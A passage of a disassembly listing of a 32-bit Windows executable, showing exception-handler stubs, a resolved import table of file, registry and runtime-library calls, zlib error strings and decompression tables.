[ebp-20h] call sub_428230 retn ; --------------------------------------------------------------------------- loc_4325DA: ; DATA XREF: TEUm:004273C4o mov eax, offset dword_4358C0 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_4325ED: ; DATA XREF: TEUm:00435914o mov ecx, [ebp-28h] call sub_428230 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_432608: ; DATA XREF: TEUm:00427480o mov eax, offset dword_4358E8 jmp sub_4317FC ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] call sub_4284A0 retn ; --------------------------------------------------------------------------- loc_43261B: ; DATA XREF: TEUm:00435954o mov ecx, [ebp-18h] add ecx, 28h call dword_433168 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] add ecx, 38h call dword_433168 retn ; --------------------------------------------------------------------------- loc_432635: ; DATA XREF: TEUm:0042789Ao mov eax, offset dword_435928 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp+18h] call dword_433168 retn ; --------------------------------------------------------------------------- loc_432649: ; DATA XREF: TEUm:0043598Co lea ecx, [ebp+8] call dword_433168 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] call sub_4284A0 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] add ecx, 28h call dword_433168 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] add ecx, 38h call dword_433168 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] call dword_433168 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] call dword_433168 retn ; --------------------------------------------------------------------------- loc_43268A: ; DATA XREF: TEUm:00427957o mov eax, offset dword_435960 jmp sub_4317FC ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] call sub_4284A0 retn ; --------------------------------------------------------------------------- loc_43269D: ; DATA XREF: TEUm:004359E4o mov ecx, [ebp-10h] add ecx, 28h call dword_433168 retn ; --------------------------------------------------------------------------- loc_4326AA: ; DATA XREF: TEUm:00427ACCo mov eax, offset dword_4359B8 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] call dword_433168 retn ; --------------------------------------------------------------------------- loc_4326BE: ; DATA XREF: TEUm:00427D26o mov eax, offset dword_4359E8 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call dword_433168 retn ; --------------------------------------------------------------------------- loc_4326D2: ; DATA XREF: TEUm:00427E0Ao mov eax, offset dword_435A10 jmp sub_4317FC ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] call sub_4284A0 retn ; --------------------------------------------------------------------------- loc_4326E5: ; DATA XREF: TEUm:00427EB1o mov eax, offset dword_435A38 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call dword_433168 retn ; --------------------------------------------------------------------------- loc_4326F9: ; DATA XREF: TEUm:00435A8Co mov ecx, [ebp-34h] call sub_4284A0 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] call dword_433168 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] call dword_433168 retn ; --------------------------------------------------------------------------- loc_432716: ; DATA XREF: TEUm:00427F36o mov eax, offset dword_435A60 jmp sub_4317FC ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_4281D0 proc near ; DATA XREF: sub_4281D0+5o mov eax, offset dword_435AA0 jmp sub_4317FC SEH_4281D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 8 call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_428230 proc near ; DATA XREF: sub_428230+5o mov eax, offset dword_435AC8 jmp sub_4317FC SEH_428230 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-18h] add ecx, 8 call dword_433168 retn ; =============== S U B R O U T I N E ======================================= SEH_428440 proc near ; DATA XREF: sub_428440+5o mov eax, offset dword_435AF0 jmp sub_4317FC SEH_428440 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 8 call dword_433168 retn ; =============== S U B R O U T I N E ======================================= SEH_4284A0 proc near ; DATA XREF: sub_4284A0+5o mov eax, offset dword_435B18 jmp sub_4317FC SEH_4284A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_4327AC: ; DATA XREF: TEUm:00435B6Co mov ecx, [ebp-10h] add ecx, 8 call sub_422BB1 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 203Ch call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_4297D0 proc near ; DATA XREF: sub_4297D0+5o mov eax, offset dword_435B40 jmp sub_4317FC SEH_4297D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_4327EC: ; DATA XREF: TEUm:00435BA4o mov ecx, [ebp-10h] add ecx, 8 call sub_422BB1 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 203Ch call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_429850 proc near ; DATA XREF: sub_429850+5o mov eax, offset dword_435B78 jmp sub_4317FC SEH_429850 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1Ch] call sub_4241A6 retn ; --------------------------------------------------------------------------- loc_432829: ; DATA XREF: TEUm:00435BDCo lea ecx, [ebp-18h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27BCh] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27C0h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27C8h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27CCh] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27D0h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27D4h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27D8h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27DCh] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27E0h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27E4h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27E8h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27ECh] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27F0h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27F4h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27F8h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27FCh] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-2800h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-2808h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-1F9Ch] call sub_429E60 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] call sub_429C40 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-2814h] call sub_4241A6 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27B0h] call sub_4264D2 retn ; =============== S U B R O U T I N E ======================================= SEH_42852F proc near ; DATA XREF: sub_42852F+5o mov eax, offset dword_435BB0 jmp sub_4317FC SEH_42852F endp ; --------------------------------------------------------------------------- lea ecx, [ebp-4014h] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_43295F: ; DATA XREF: TEUm:00435CCCo lea ecx, [ebp-8024h] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_43296B: ; DATA XREF: TEUm:00435CD4o lea ecx, [ebp-8028h] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_432977: ; DATA XREF: TEUm:00435CDCo lea ecx, [ebp-802Ch] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_432983: ; DATA XREF: TEUm:00435CE4o lea ecx, [ebp-8030h] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_43298F: ; DATA XREF: TEUm:00435CECo lea ecx, [ebp-8034h] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_43299B: ; DATA XREF: TEUm:00435CF4o lea ecx, [ebp-8038h] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_4329A7: ; DATA XREF: TEUm:00435CFCo lea ecx, [ebp-803Ch] call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_429039 proc near ; DATA XREF: sub_429039+5o mov eax, offset dword_435CA0 jmp sub_4317FC SEH_429039 endp ; =============== S U B R O U T I N E ======================================= SEH_42948F proc near ; DATA XREF: sub_42948F+5o mov eax, offset dword_435D00 jmp sub_4317FC SEH_42948F endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-14h] push eax call sub_43177E pop ecx retn ; =============== S U B R O U T I N E ======================================= SEH_429920 proc near ; DATA XREF: sub_429920+5o mov eax, offset dword_435D58 jmp sub_4317FC SEH_429920 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1Ch] call sub_429C40 retn ; =============== S U B R O U T I N E ======================================= SEH_429AA0 proc near ; DATA XREF: sub_429AA0+5o mov eax, offset dword_435D80 jmp sub_4317FC SEH_429AA0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] call sub_4241A6 retn ; =============== S U B R O U T I N E ======================================= SEH_429DA0 proc near ; DATA XREF: sub_429DA0+5o mov eax, offset dword_435DA8 jmp sub_4317FC SEH_429DA0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-1Ch] push eax call sub_43177E pop ecx retn ; =============== S U B R O U T I N E ======================================= SEH_43126B proc near ; DATA XREF: sub_43126B+5o mov eax, offset dword_435DD0 jmp sub_4317FC SEH_43126B endp ; --------------------------------------------------------------------------- align 4 dd 16Eh dup(0) dword_433000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4266E9+8Er ... dword_433004 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_426B19+45r ... dword_433008 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_426CC3+74r ... dword_43300C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_426CC3+36r ... dword_433010 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_426B19+79r ... align 8 dword_433018 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; TEUm:00421665r ... dword_43301C dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_42146A+12Ar ... dword_433020 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; TEUm:004217F5r ... dword_433024 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_433028 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_42146A+99r ... dword_43302C dd 7C834FFEh ; resolved to->KERNEL32.GetCurrentDirectoryA ; TEUm:0042212Br ... dword_433030 dd 7C8217ACh ; resolved to->KERNEL32.CreateDirectoryA ; sub_43093B+FDr dword_433034 dd 7C85B219h ; resolved to->KERNEL32.RemoveDirectoryAdword_433038 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesAdword_43303C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_433040 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_433044 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_433048 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryA ; sub_424A2E+18r dword_43304C dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFree ; sub_4227A4+36r ... dword_433050 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_430A42+445r dword_433054 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_42640B+6Cr dword_433058 dd 7C8123B9h ; resolved to->KERNEL32.GlobalReAllocdword_43305C dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_433060 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_4227A4+82r ... dword_433064 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_433068 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_43306C dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_433070 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_433074 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_422C48+28r ... dword_433078 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_421C92+71r ... dword_43307C dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_4221DB+98r ... dword_433080 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileAdword_433084 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_433088 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_43308C dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_433090 dd 7C83214Eh ; resolved to->KERNEL32.DosDateTimeToFileTimedword_433094 dd 7C810B1Ch ; resolved to->KERNEL32.SystemTimeToFileTimedword_433098 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_42E589+6Dr dword_43309C dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_4330A0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_43012E+59r ... dword_4330A4 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_42E77F+27r ... dword_4330A8 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4330AC dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_4330B0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4330B4 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_424B41+12Dr ... dword_4330B8 dd 7C821BA5h ; resolved to->KERNEL32.GetVolumeInformationAdword_4330BC dd 7C80BF3Dh ; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4330C0 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4330C4 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrementdword_4330C8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_42852F+67Fr dword_4330CC dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_422F1F+Cr ... dword_4330D0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_4330D4 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryA ; sub_424B41+166r dword_4330D8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_4330DC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_42640B+1Ar dword_4330E0 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_422A1E+C8r ... align 8 dword_4330E8 dd 73E267E1h dword_4330EC dd 73E266E6h dword_4330F0 dd 73E263DEh dword_4330F4 dd 73DD6672h dword_4330F8 dd 73E2D6BFh dword_4330FC dd 73DD493Dh dword_433100 dd 73DD27B2h dword_433104 dd 73DD418Ch dword_433108 dd 73DD2831h dword_43310C dd 73E2654Dh dword_433110 dd 73E26465h dword_433114 dd 73DEBD63h dword_433118 dd 73DD47A8h dword_43311C dd 73DD265Ch dword_433120 dd 73DD496Bh dword_433124 dd 73DD2709h dword_433128 dd 73DD41F5h dword_43312C dd 73DD4391h dword_433130 dd 73E2C2B3h dword_433134 dd 73DD433Ah dword_433138 dd 73DD4123h align 10h dword_433140 dd 401F3Eh ; TEUm:00421419r dword_433144 dd 404A51h ; TEUm:004213CEr dword_433148 dd 401888h ; TEUm:004213E0r dword_43314C dd 405384h ; TEUm:00421426r dword_433150 dd 401E51h ; TEUm:00431D17r dword_433154 dd 403B9Ah dword_433158 dd 401204h dword_43315C dd 4038E0h dword_433160 dd 401891h align 8 dword_433168 dd 7608F485h ; TEUm:00427A7Cr ... dword_43316C dd 7608F470h ; TEUm:004278E0r ... dword_433170 dd 7609F0F5h ; TEUm:00427A52r ... dword_433174 dd 76085B0Ch ; TEUm:00427F9Er dword_433178 dd 760AC190h ; TEUm:00427A3Br ... dword_43317C dd 760A06A9h ; TEUm:00427A28r ... dword_433180 dd 7609F015h ; sub_427B23+12Cr ... dword_433184 dd 76081F8Bh dword_433188 dd 7608B84Ch ; sub_427B23+58r ... dword_43318C dd 76085828h dword_433190 dd 76090F65h dword_433194 dd 76097647h ; TEUm:00427906r ... dd 0 dword_43319C dd 77C47A90h ; resolved to->MSVCRT.strncpy ; TEUm:00431252r dword_4331A0 dd 77C1BE7Bh ; resolved to->MSVCRT.atoldword_4331A4 dd 77C4AEA3h ; resolved to->MSVCRT.time ; sub_425642+AAr ... dword_4331A8 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_426022+2EAr dword_4331AC dd 77C464BFh ; resolved to->MSVCRT._strnicmp ; sub_425D94+1EDr ... dword_4331B0 dd 77C46125h ; resolved to->MSVCRT._strdupdword_4331B4 dd 77C32D22h ; resolved to->MSVCRT._mbsuprdword_4331B8 dd 77C46040h ; resolved to->MSVCRT.strcatdword_4331BC dd 77C22738h ; resolved to->MSVCRT._EH_prologdword_4331C0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_4331C4 dd 77C3F010h ; resolved to->MSVCRT.fopendword_4331C8 dd 77C2C407h ; resolved to->MSVCRT.malloc ; sub_42852F+940r ... dword_4331CC dd 77C47C60h ; resolved to->MSVCRT.strstrdword_4331D0 dd 77C40AB1h ; resolved to->MSVCRT.fclosedword_4331D4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_423288+110r ... dword_4331D8 dd 77C41574h ; resolved to->MSVCRT.ftell ; sub_4224B5+2Er dword_4331DC dd 77C227FAh ; resolved to->MSVCRT.__CxxFrameHandlerdword_4331E0 dd 77C226F6h ; resolved to->MSVCRT._CxxThrowExceptiondword_4331E4 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_422A1E+108r ... dword_4331E8 dd 77C47FCCh ; resolved to->MSVCRT.wcslendword_4331EC dd 77C31881h ; resolved to->MSVCRT._mbscmp ; sub_425B2E+D7r ... dword_4331F0 dd 77C4139Ch ; resolved to->MSVCRT.fseek ; sub_4224B5+44r dword_4331F4 dd 77C1CAD7h ; resolved to->MSVCRT.toupper ; sub_42239F+6Dr ... dword_4331F8 dd 77C478A0h ; resolved to->MSVCRT.strlendword_4331FC dd 77C46030h ; resolved to->MSVCRT.strcpydword_433200 dd 77C31FBDh ; resolved to->MSVCRT._mbsnbcpydword_433204 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_433208 dd 77C2C0C3h ; resolved to->MSVCRT.callocdword_43320C dd 77C47730h ; resolved to->MSVCRT.strcmpdword_433210 dd 77C4AA2Dh ; resolved to->MSVCRT.gmtimedword_433214 dd 77C32BB0h ; resolved to->MSVCRT._mbsstrdword_433218 dd 77C21868h dword_43321C dd 77C34E51h ; resolved to->MSVCRT.__dllonexitdword_433220 dd 77C34DF8h ; resolved to->MSVCRT._onexitdword_433224 dd 77C39E9Ah ; resolved to->MSVCRT._exitdword_433228 dd 77C32DAEh ; resolved to->MSVCRT._XcptFilterdword_43322C dd 77C39E7Eh ; resolved to->MSVCRT.exitdword_433230 dd 77C1EEEBh ; resolved to->MSVCRT.__getmainargsdword_433234 dd 77C617ACh ; resolved to->MSVCRT._acmdlndword_433238 dd 77C39D67h ; resolved to->MSVCRT._inittermdword_43323C dd 77C4D675h ; resolved to->MSVCRT.__setusermatherrdword_433240 dd 77C623D8h ; resolved to->MSVCRT._adjust_fdivdword_433244 dd 77C1F1A4h ; resolved to->MSVCRT.__p__commodedword_433248 dd 77C1F1DBh ; resolved to->MSVCRT.__p__fmodedword_43324C dd 77C3537Ch ; resolved to->MSVCRT.__set_app_typedword_433250 dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_433254 dd 77C411FBh ; resolved to->MSVCRT.freaddword_433258 dd 77C4EE2Fh ; resolved to->MSVCRT._controlfp align 10h dword_433260 dd 77126BFFh dword_433264 dd 77124920h ; sub_429C40+Br ... dword_433268 dd 77124980h dword_43326C dd 77124CFAh dword_433270 dd 77124C98h dword_433274 dd 77124880h ; sub_42852F+720r ... dword_433278 dd 77124C7Eh ; sub_429A50+17r dword_43327C dd 7712A63Fh dword_433280 dd 77124C05h align 8 dword_433288 dd 7CA70964h ; resolved to->SHELL32.SHFileOperationA ; sub_421C92+BBr ... align 10h dword_433290 dd 7E41C66Eh ; resolved to->USER32.CopyRectdword_433294 dd 7E41C4A9h ; resolved to->USER32.EqualRectdword_433298 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_424B41+2C8r ... dword_43329C dd 7E418D2Bh ; resolved to->USER32.CharUpperA dd 0 dword_4332A4 dd 774FEE36h dword_4332A8 dd 775561BAh dword_4332AC dd 774FFAC3h ; sub_429EB0+93r dword_4332B0 dd 77502A37h ; sub_42948F+E5r align 8 byte_4332B8 db 90h ; DATA XREF: sub_42852F+783o db 0BFh, 33h, 29h dd 11D27B36h, 0C0000EB2h, 603E984Fh off_4332C8 dd offset sub_4219B0 ; DATA XREF: sub_421000+14o ; sub_421021+Ao off_4332CC dd offset sub_4229F0 ; DATA XREF: sub_4226B0+Ao ; sub_4226C7+Ao ... off_4332D0 dd offset aNeedDictiona_0 ; DATA XREF: TEUm:0042DC2Cr ; "need dictionary" dd offset aStreamEnd ; "stream end" dd offset dword_43BD48 dd offset aFileError ; "file error" dd offset aStreamError ; "stream error" dd offset aDataError ; "data error" dd offset aInsufficientMe ; "insufficient memory" dd offset aBufferError ; "buffer error" dd offset aIncompatibleVe ; "incompatible version" dd offset dword_43BD4C dword_4332F8 dd 0 ; sub_42A2DE+464r ... dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh, 0 dword_433340 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh ; DATA XREF: sub_42D0BB+18o dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h dd 800h, 20h, 900h, 0A0h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h dd 0A1h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 